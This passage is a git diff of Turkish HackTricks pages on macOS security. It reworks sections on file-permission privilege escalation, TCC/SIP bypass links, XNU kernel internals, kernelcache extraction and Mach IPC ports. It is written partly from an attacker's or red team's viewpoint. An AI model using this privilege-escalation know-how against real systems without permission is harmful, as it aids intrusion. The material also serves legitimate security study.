-* Kullanıcı tarafından zaten oluşturulmuş olan dosya (kullanıcı tarafından sahip olunan) -* Dosya, bir grup tarafından yazılabilir durumdaysa kullanıcı tarafından yazılabilir -* Dosya, kullanıcı tarafından sahip olunan bir dizinin içinde ise (kullanıcı dosyayı oluşturabilir) -* Dosya, kök tarafından sahip olunan bir dizinin içinde ise ancak kullanıcının bir grup sayesinde yazma erişimi varsa (kullanıcı dosyayı oluşturabilir) +* Kullanıcı tarafından zaten oluşturulmuş olan dosya (kullanıcıya ait) +* Dosya, bir grup tarafından yazılabilir durumda olduğu için kullanıcı tarafından yazılabilir +* Dosya, kullanıcıya ait olan bir dizin içinde bulunuyorsa (kullanıcı dosyayı oluşturabilir) +* Dosya, kök tarafından sahip olunan bir dizin içinde bulunuyorsa ancak kullanıcının bir grup tarafından yazma erişimi varsa (kullanıcı dosyayı oluşturabilir) -**Kök tarafından kullanılacak bir dosya oluşturabilmek**, bir kullanıcının içeriğinden **yararlanmasına** veya hatta onu başka bir yere **sembolik bağlantılar/sabit bağlantılar** oluşturmasına olanak tanır. +**Kök tarafından kullanılacak bir dosya** oluşturabilmek, bir kullanıcının dosyanın içeriğinden **yararlanmasına** veya hatta onu başka bir yere yönlendirmek için **sembolik bağlar/sabit bağlar** oluşturmasına olanak tanır. Bu tür zafiyetler için **savunmasız `.pkg` yükleyicilerini** kontrol etmeyi unutmayın: @@ -116,17 +117,17 @@ Dosya uzantıları tarafından kaydedilen garip uygulamalar kötüye kullanılab ## macOS TCC / SIP Yetki Yükseltme -macOS'ta **uygulamalar ve ikili dosyalar**, diğerlerinden daha ayrıcalıklı hale getiren klasörleri veya ayarları erişmek için izinlere sahip olabilir. +MacOS'ta **uygulamalar ve ikili dosyalar**, diğerlerinden daha ayrıcalıklı hale getiren klasörleri veya ayarları erişmek için izinlere sahip olabilir. -Bu nedenle, bir macOS makinesini başarılı bir şekilde ele geçirmek isteyen bir saldırganın **TCC ayrıcalıklarını yükseltmesi** gerekecektir (veya ihtiyaçlarına bağlı olarak **SIP'yi atlaması** gerekebilir). +Bu nedenle, bir macOS makinesini başarılı bir şekilde ele geçirmek isteyen bir saldırganın, MacOS'ta **TCC ayrıcalıklarını yükseltmesi** gerekecektir (veya ihtiyacına bağlı olarak **SIP'yi atlaması** gerekebilir). -Bu ayrıcalıklar genellikle uygulamanın imzalandığı **yetkilendirmeler** şeklinde verilir veya uygulama bazı erişimler isteyebilir ve **kullanıcı bunları onayladıktan sonra** bu erişimler **TCC veritabanlarında** bulunabilir. Bir işlemin bu ayrıcalıkları elde etmenin başka bir yolu da, genellikle **miras alındıkları için** bu ayrıcalıklara sahip bir işlemin **çocuğu olmaktır**. +Bu ayrıcalıklar genellikle uygulamanın imzalandığı **yetkilendirme** biçiminde verilir veya uygulama bazı erişimler isteyebilir ve **kullanıcı onayladıktan sonra** bu erişimler **TCC veritabanlarında** bulunabilir. Bir işlemin bu ayrıcalıkları elde etmenin başka bir yolu da, genellikle **miras alındıkları için** bu ayrıcalıklara sahip bir işlemin **çocuğu olmaktır**. -Bu bağlantıları takip ederek farklı yolları bulabilirsiniz: [**TCC'de ayrıcalıkları yükseltmek**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte **SIP'nin nasıl atlatıldığını** görmek için [**buraya**](macos-security-protections/macos-sip.md#sip-bypasses) bakın. +Bu bağlantıları takip ederek [**TCC'de ayrıcalıkları yükseltme**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC'yi atlamak için**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte **SIP'nin nasıl atlatıldığını** öğrenin. ## macOS Geleneksel Yetki Yükseltme -Tabii ki, bir kırmızı takımın bakış açısından kök yetkilerine yükselmeniz de önemli olacaktır. Bazı ipuçları için aşağıdaki yazıya göz atın: +Tabii ki, bir kırmızı takımın bakış açısından kök yetkilerine yükselmek de önemlidir. Bazı ipuçları için aşağıdaki gönderiyi kontrol edin: {% content-ref url="macos-privilege-escalation.md" %} [macos-privilege-escalation.md](macos-privilege-escalation.md) @@ -141,29 +142,30 @@ Tabii ki, bir kırmızı takımın bakış açısından kök yetkilerine yüksel
-[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişim kurun! +[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişime geçin! **Hacking İçgörüleri**\ -Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin +Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin **Gerçek Zamanlı Hack Haberleri**\ -Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin +Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın **En Son Duyurular**\ -Yayınlanan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi edinin +Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin **Bize Katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın! +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Destek HackTricks -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 0fd006cfd..538810142 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -1,36 +1,37 @@ -# macOS Çekirdek ve Sistem Uzantıları +# macOS Çekirdek & Sistem Uzantıları + +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-A'dan Z'ye AWS hackleme konusunu öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com) -* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in bulunduğu koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**]'e ve [**HackTricks Cloud**]'a katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## XNU Çekirdeği -**macOS'un çekirdeği XNU'dur**, "X is Not Unix" anlamına gelir. Bu çekirdek temel olarak **Mach mikroçekirdeği**nden (daha sonra tartışılacak) ve **Berkeley Yazılım Dağıtımı (BSD)**'den gelen unsurlardan oluşur. XNU ayrıca **I/O Kit adlı bir sistem aracılığıyla çekirdek sürücülerine platform sağlar**. XNU çekirdeği, Darwin açık kaynak projesinin bir parçasıdır, bu da **kaynak kodunun serbestçe erişilebilir** olduğu anlamına gelir. +**macOS'un çekirdeği XNU'dur**, "X is Not Unix" anlamına gelir. Bu çekirdek temel olarak **Mach mikroçekirdeği** (daha sonra tartışılacak), **ve** Berkeley Yazılım Dağıtımı (**BSD**) unsurlarından oluşur. XNU ayrıca **I/O Kit adlı bir sistem aracılığıyla çekirdek sürücülerine platform sağlar**. XNU çekirdeği, Darwin açık kaynak projesinin bir parçasıdır, bu da **kaynak kodunun serbestçe erişilebilir** olduğu anlamına gelir. -Bir güvenlik araştırmacısı veya Unix geliştiricisi açısından bakıldığında, **macOS**, şık bir GUI'ye ve bir dizi özel uygulamaya sahip bir **FreeBSD** sistemiyle oldukça **benzer** hissettirebilir. BSD için geliştirilen çoğu uygulama, Unix kullanıcılarına tanıdık gelen komut satırı araçları macOS'ta herhangi bir değişiklik yapmadan derlenip çalıştırılabilir. Ancak, XNU çekirdeği Mach'ı içerdiğinden, geleneksel bir Unix benzeri sistem ile macOS arasında bazı önemli farklılıklar bulunmaktadır ve bu farklılıklar potansiyel sorunlara neden olabilir veya benzersiz avantajlar sağlayabilir. +Bir güvenlik araştırmacısı veya Unix geliştiricisi açısından bakıldığında, **macOS**, şık bir GUI'ye ve bir dizi özel uygulamaya sahip bir **FreeBSD** sistemiyle oldukça **benzer** hissedebilir. BSD için geliştirilen çoğu uygulama, Unix kullanıcıları için tanıdık olan komut satırı araçları macOS'ta herhangi bir değişiklik yapmadan derlenip çalıştırılabilir. Ancak, XNU çekirdeği Mach'ı içerdiğinden, geleneksel bir Unix benzeri sistem ile macOS arasında bazı önemli farklılıklar vardır ve bu farklılıklar potansiyel sorunlara neden olabilir veya benzersiz avantajlar sağlayabilir. XNU'nun açık kaynak sürümü: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach, **UNIX uyumlu** bir **mikroçekirdek**tir. Temel tasarım prensiplerinden biri, **çekirdek alanında çalışan kod miktarını en aza indirgemek** ve dosya sistemi, ağ ve G/Ç gibi birçok tipik çekirdek işlevinin **kullanıcı düzeyi görevleri olarak çalışmasına izin vermektir**. +Mach, **UNIX uyumlu** bir **mikroçekirdek**tir. Temel tasarım prensiplerinden biri, **çekirdek** alanında çalışan **kod** miktarını **en aza indirgemek** ve dosya sistemi, ağ ve I/O gibi birçok tipik çekirdek işlevini **kullanıcı düzeyi görevleri olarak çalıştırmaya izin vermektir**. -XNU'da, Mach, işlemci planlaması, çoklu görev, ve sanal bellek yönetimi gibi birçok kritik düşük seviye işlem için **sorumludur**. +XNU'da, Mach, işlemci zamanlama, çoklu görev, ve sanal bellek yönetimi gibi bir çekirdek genellikle ele aldığı birçok kritik düşük seviye işlemden **sorumludur**. ### BSD -XNU çekirdeği ayrıca **FreeBSD** projesinden türetilen önemli miktarda kodu **içerir**. Bu kod, Mach ile aynı adres alanında **çekirdeğin bir parçası olarak çalışır**. Ancak, XNU içindeki FreeBSD kodu, uyumluluğunu sağlamak için değişiklikler gerektiğinden, orijinal FreeBSD kodundan önemli ölçüde farklılık gösterebilir. FreeBSD, aşağıdaki işlemlere katkıda bulunur: +XNU **çekirdeği** ayrıca **FreeBSD** projesinden türetilen önemli miktarda kodu **içerir**. Bu kod, Mach ile birlikte **çekirdeğin bir parçası olarak çalışır**, aynı adres alanında. Ancak, XNU içindeki FreeBSD kodu, uyumluluğunu sağlamak için değişiklikler gerektiğinden, orijinal FreeBSD kodundan önemli ölçüde farklılık gösterebilir. FreeBSD, aşağıdaki gibi birçok çekirdek işlemine katkıda bulunur: * İşlem yönetimi * Sinyal işleme @@ -39,13 +40,13 @@ XNU çekirdeği ayrıca **FreeBSD** projesinden türetilen önemli miktarda kodu * TCP/IP yığını ve soketler * Güvenlik duvarı ve paket filtreleme -BSD ve Mach arasındaki etkileşimi anlamak karmaşık olabilir, çünkü bunların farklı kavramsal çerçeveleri vardır. Örneğin, BSD işlemleri temel yürütme birimi olarak kullanırken, Mach işlemi ipliklere dayalı olarak çalışır. Bu uyumsuzluk, XNU'da, **her BSD işlemini yalnızca bir Mach göreviyle ilişkilendirerek** uzlaştırılır. BSD'nin fork() sistem çağrısı kullanıldığında, çekirdekteki BSD kodu, bir görev ve bir iplik yapısı oluşturmak için Mach işlevlerini kullanır. +BSD ve Mach arasındaki etkileşimi anlamak karmaşık olabilir, farklı kavramsal çerçevelerinden dolayı. Örneğin, BSD, temel yürütme birimi olarak işlemleri kullanırken, Mach, iş parçacıklarına dayalı olarak çalışır. Bu uyumsuzluk, XNU'da, **her BSD işlemini yalnızca bir Mach göreviyle ilişkilendirerek** uzlaştırılır. BSD'nin fork() sistem çağrısı kullanıldığında, çekirdekteki BSD kodu, bir görev ve bir iş parçacığı yapısı oluşturmak için Mach işlevlerini kullanır. -Ayrıca, **Mach ve BSD'nin her birinin farklı güvenlik modelleri vardır**: **Mach'ın** güvenlik modeli **port haklarına** dayanırken, BSD'nin güvenlik modeli **işlem sahipliğine** dayanır. Bu iki model arasındaki farklar bazen yerel ayrıcalık yükseltme güvenlik açıklarına neden olmuştur. Tipik sistem çağrılarından başka, **Mach tuzağı** adı verilen kullanıcı alanı programlarının çekirdek ile etkileşimde bulunmasına izin veren özellikler de vardır. Bu farklı unsurlar bir araya gelerek macOS çekirdeğinin çok yönlü, karmaşık mimarisini oluşturur. +Ayrıca, **Mach ve BSD her biri farklı güvenlik modellerini sürdürür**: **Mach'ın** güvenlik modeli **port haklarına** dayanırken, BSD'nin güvenlik modeli **işlem sahipliğine** dayanır. Bu iki model arasındaki farklılıklar bazen yerel ayrıcalık yükseltme güvenlik açıklarına neden olmuştur. Tipik sistem çağrılarından başka, **kullanıcı alanı programlarının çekirdek ile etkileşimine izin veren Mach tuzağı** da bulunmaktadır. Bu farklı unsurlar bir araya gelerek macOS çekirdeğinin çok yönlü, karmaşık mimarisini oluşturur. ### I/O Kit - Sürücüler -I/O Kit, XNU çekirdeğindeki açık kaynaklı, nesne yönelimli bir **cihaz sürücü çerçevesi**dir ve **dinamik olarak yüklenen cihaz sürücülerini** yönetir. Çeşitli donanımı destekleyen modüler kodun çekirdeğe anında eklenmesine izin verir. +I/O Kit, XNU çekirdeğindeki açık kaynaklı, nesne yönelimli bir **cihaz sürücü çerçevesi**dir, **dinamik olarak yüklenen cihaz sürücülerini** yönetir. Çeşitli donanımı destekleyen modüler kodun çekirdeğe anında eklenmesine izin verir. {% content-ref url="macos-iokit.md" %} [macos-iokit.md](macos-iokit.md) @@ -59,25 +60,25 @@ I/O Kit, XNU çekirdeğindeki açık kaynaklı, nesne yönelimli bir **cihaz sü ### Kernelcache -**Kernelcache**, XNU çekirdeğinin **ön derlenmiş ve ön bağlantılı bir versiyonu** ile temel cihaz **sürücüleri** ve **çekirdek uzantıları**nı içeren bir dosyadır. Sıkıştırılmış bir formatta depolanır ve önyükleme sırasında belleğe açılır. Kernelcache, hazır çalışmaya hazır bir çekirdek ve önemli sürücülerin mevcut olduğu, aksi takdirde önyükleme sırasında bu bileşenlerin dinamik olarak yüklenip bağlanması için harcanacak zaman ve kaynakları azaltarak **daha hızlı bir önyükleme süreci** sağlar. +**Kernelcache**, XNU çekirdeğinin **ön derlenmiş ve ön bağlantılı bir sürümü** ile temel cihaz **sürücüleri** ve **çekirdek uzantıları**nı içeren bir dosyadır. Sıkıştırılmış bir formatta depolanır ve önyükleme sırasında belleğe açılır. Kernelcache, önyükleme süresini hızlandırarak, hazır çalışmaya hazır bir çekirdek ve önemli sürücülerin mevcut olmasını sağlayarak, önyükleme sırasında bu bileşenlerin dinamik olarak yüklenmesi ve bağlanması için harcanacak zaman ve kaynakları azaltır. -iOS'te **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** konumundadır, macOS'ta ise **`find / -name kernelcache 2>/dev/null`** veya **`mdfind kernelcache | grep kernelcache`** komutlarıyla bulunabilir. +iOS'ta **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** konumundadır, macOS'ta ise **`find / -name kernelcache 2>/dev/null`** veya **`mdfind kernelcache | grep kernelcache`** komutlarıyla bulunabilir. Yüklenen çekirdek uzantılarını kontrol etmek için **`kextstat`** komutunu çalıştırmak mümkündür. #### IMG4 -IMG4 dosya formatı, Apple'ın iOS ve macOS cihazlarında **firmware** bileşenlerini güvenli bir şekilde **saklamak ve doğrulamak** için kullandığı bir konteyner formatıdır (örneğin **kernelcache**). IMG4 formatı, bir başlık ve gerçek yük (örneğin bir çekirdek veya önyükleyici), bir imza ve bir dizi manifest özelliği içeren farklı etiketleri içerir. Format, cihazın bileşeni yürütmeye geçmeden önce bileşenin otantikliğini ve bütünlüğünü doğrulamasına olanak tanıyan kriptografik doğrulamayı destekler. +IMG4 dosya formatı, Apple'ın iOS ve macOS cihazlarında **firmware** bileşenlerini güvenli bir şekilde **saklamak ve doğrulamak** için kullandığı bir konteyner formatıdır (örneğin **kernelcache**). IMG4 formatı, bir başlık ve gerçek yük (örneğin bir çekirdek veya önyükleyici) gibi farklı veri parçalarını kapsayan birkaç etiket içerir. Format, cihazın bileşeni yürütmeye geçmeden önce bileşenin otantikliğini ve bütünlüğünü doğrulamasına olanak tanıyan kriptografik doğrulamayı destekler. Genellikle aşağıdaki bileşenlerden oluşur: * **Yük (IM4P)**: -* Genellikle sıkıştırılmıştır (LZFSE4, LZSS, ...) +* Genellikle sıkıştırılmış (LZFSE4, LZSS, …) * İsteğe bağlı olarak şifrelenmiş -* **Manifest (IM4M)**: +* **Manifesto (IM4M)**: * İmza içerir * Ek Anahtar/Değer sözlüğü -* **Restore Bilgisi (IM4R)**: +* **Geri Yükleme Bilgisi (IM4R)**: * APNonce olarak da bilinir * Bazı güncellemelerin tekrar oynatılmasını önler * İSTEĞE BAĞLI: Genellikle bulunmaz @@ -92,18 +93,16 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` #### Kernelcache Sembolleri -Bazen Apple, **sembolleri** içeren **kernelcache** yayınlıyor. Sembolleri içeren bazı firmware'leri [https://theapplewiki.com](https://theapplewiki.com/) adresindeki bağlantıları takip ederek indirebilirsiniz. +Bazen Apple, **sembolleri** içeren **kernelcache** yayınlıyor. Bazı firmware'leri sembollerle birlikte indirebilirsiniz, [https://theapplewiki.com](https://theapplewiki.com/) adresindeki bağlantıları takip ederek. ### IPSW Bunlar, [**https://ipsw.me/**](https://ipsw.me/) adresinden indirebileceğiniz Apple **firmware'leri**dir. Diğer dosyalar arasında **kernelcache** bulunacaktır.\ Dosyaları **çıkarmak** için sadece onu **zip** dosyasından çıkarmanız yeterlidir. -Firmware çıkardıktan sonra şu türde bir dosya elde edersiniz: **`kernelcache.release.iphone14`**. Bu, **IMG4** formatındadır ve ilginç bilgileri çıkarmak için şunu kullanabilirsiniz: +Firmware çıkarıldıktan sonra şöyle bir dosya elde edersiniz: **`kernelcache.release.iphone14`**. Bu, **IMG4** formatındadır ve ilginç bilgileri çıkarmak için şu aracı kullanabilirsiniz: * [**pyimg4**](https://github.com/m1stadev/PyIMG4) - -{% code overflow="wrap" %} ```bash pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` @@ -113,9 +112,9 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon ```bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` -İlgili kernelcache dosyasındaki sembolleri kontrol edebilirsiniz: **`nm -a kernelcache.release.iphone14.e | wc -l`** +İşte çıkarılmış kernelcache için sembolleri kontrol edebilirsiniz: **`nm -a kernelcache.release.iphone14.e | wc -l`** -Bununla birlikte şimdi **tüm uzantıları** veya **ilgilendiğiniz birini çıkarabiliriz:** +Bununla birlikte şimdi **tüm uzantıları** veya **ilgilendiğiniz uzantıyı** çıkarabiliriz: ```bash # List all extensions kextex -l kernelcache.release.iphone14.e @@ -130,7 +129,7 @@ nm -a binaries/com.apple.security.sandbox | wc -l ``` ## macOS Kernel Uzantıları -macOS, **Kernel Uzantılarını** (.kext) yüklemek konusunda son derece kısıtlayıcıdır çünkü bu kodun çalışacağı yüksek ayrıcalıklar nedeniyle. Aslında, varsayılan olarak neredeyse imkansızdır (bir bypass bulunmadıkça). +macOS, **Kernel Uzantılarını** (.kext) yüklemeye karşı son derece kısıtlayıcıdır çünkü bu kodun çalışacağı yüksek ayrıcalıklardan dolayı. Aslında, varsayılan olarak neredeyse imkansızdır (bir bypass bulunmadıkça). {% content-ref url="macos-kernel-extensions.md" %} [macos-kernel-extensions.md](macos-kernel-extensions.md) @@ -149,16 +148,17 @@ Kernel Uzantıları yerine macOS, çekirdek ile etkileşim için kullanıcı dü * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.** +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 76da66c21..6a31d2892 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -1,69 +1,70 @@ # macOS IPC - İşlem Arası İletişim +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Portlar Aracılığıyla Mach Mesajlaşması ### Temel Bilgiler -Mach, kaynakları paylaşmak için **görevleri** en küçük birim olarak kullanır ve her görev **çoklu iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemleri ve iş parçacıklarıyla 1:1 eşlenir**. +Mach, kaynakları paylaşmak için **görevleri** kullanır ve her görev **çoklu iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemleri ve iş parçacıklarıyla 1:1 eşlenir**. -Görevler arasındaki iletişim, Mach İşlem Arası İletişim (IPC) kullanılarak gerçekleşir ve tek yönlü iletişim kanallarını kullanır. **Mesajlar, portlar arasında aktarılır** ve bunlar çekirdek tarafından yönetilen **mesaj kuyrukları gibi davranır**. +Görevler arasındaki iletişim, Mach İşlem Arası İletişim (IPC) aracılığıyla gerçekleşir ve tek yönlü iletişim kanallarını kullanır. **Mesajlar, portlar arasında aktarılır** ve bunlar, çekirdek tarafından yönetilen **mesaj kuyrukları gibi davranan portlardır**. -Her işlemde bir **IPC tablosu** bulunur ve burada işlemin **mach portları** bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi). +Her işlem, bir **IPC tablosuna** sahiptir ve burada işlemin **mach portları** bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi). -Bir işlem ayrıca bir port adını bazı haklarla **farklı bir göreve gönderebilir** ve çekirdek bu girişi **diğer görevin IPC tablosuna ekler**. +Bir işlem ayrıca, bir port adını bazı haklarla başka bir göreve gönderebilir ve çekirdek bu girişi **diğer görevin IPC tablosunda** görünür hale getirir. ### Port Hakları -İletişimde önemli olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan **port hakları** şunlardır ([buradan tanımlar](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +İletişim için kilit olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan **port hakları** şunlardır ([buradan tanımlamalar](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki tüm sistemde bir port için yalnızca **bir alma hakkı olabilir** (borular gibi, birden fazla işlemin bir borunun okuma ucuna ait dosya tanımlayıcılarına sahip olabileceği yerlerde). -* **Alma hakkına sahip bir görev**, mesajları alabilir ve **Gönderme hakları oluşturabilir**, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi kendi portu 